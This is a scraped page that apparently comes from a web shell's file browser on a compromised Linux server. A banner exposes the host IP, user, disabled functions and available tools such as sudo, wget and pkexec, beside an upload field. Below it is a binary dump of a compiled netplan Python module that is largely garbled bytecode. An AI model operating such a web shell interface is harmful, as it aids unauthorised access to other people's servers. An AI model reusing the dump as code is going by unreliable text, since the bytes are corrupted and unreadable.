| Server IP : 167.99.254.82 / Your IP : 216.73.216.76 Web Server : Apache System : Linux host.techisquad.com 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64 User : pawluxera ( 1011) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib/python3/dist-packages/netplan/__pycache__/ |
Upload File : |
o
��i�- � @ s� d dl mZ ddlmZmZ ddlmZmZ G dd� d�ZG dd� d�Z G d d
� d
�Z
G dd� d�ZG d
d� d�ZG dd� d�Z
edd�G dd� d��ZG dd� d�ZdS )� )� dataclass� )�ffi�lib)�_string_realloc_call_no_error�NetplanExceptionc @ s� e Zd Zdd� Zdd defdd�Zd=ded ed
edefdd�Zed>dd��Z edefdd��Z
edefdd��Zed?dd��Zed@dd��Z
edAdd��Zedefdd��Zedefdd ��Zedefd!d"��Zedefd#d$��Zedefd%d&��Zedefd'd(��Zedefd)d*��Zedefd+d,��Zedefd-d.��Zedefd/d0��Zedefd1d2��Zedefd3d4��Zedefd5d6��Zedefd7d8��Zedefd9d:��Zedefd;d<��Z dS )B�
NetDefinitionc C s || _ || _d S �N)�_ptr�_parent)�self�np_state�ptr� r �0/usr/lib/python3/dist-packages/netplan/netdef.py�__init__ s
zNetDefinition.__init__�other�returnc C s t |d�sdS | j|jkS )Nr
F)�hasattrr
)r r r r r �__eq__ s
zNetDefinition.__eq__N�
iface_name�iface_driver� iface_macc C sJ t t�| j|r|�d�ntj|r|�d�ntj|r |�d���S tj��S �N�utf-8)�boolr �netplan_netdef_match_interfacer
�encoder �NULL)r r r r r r r �_match_interface"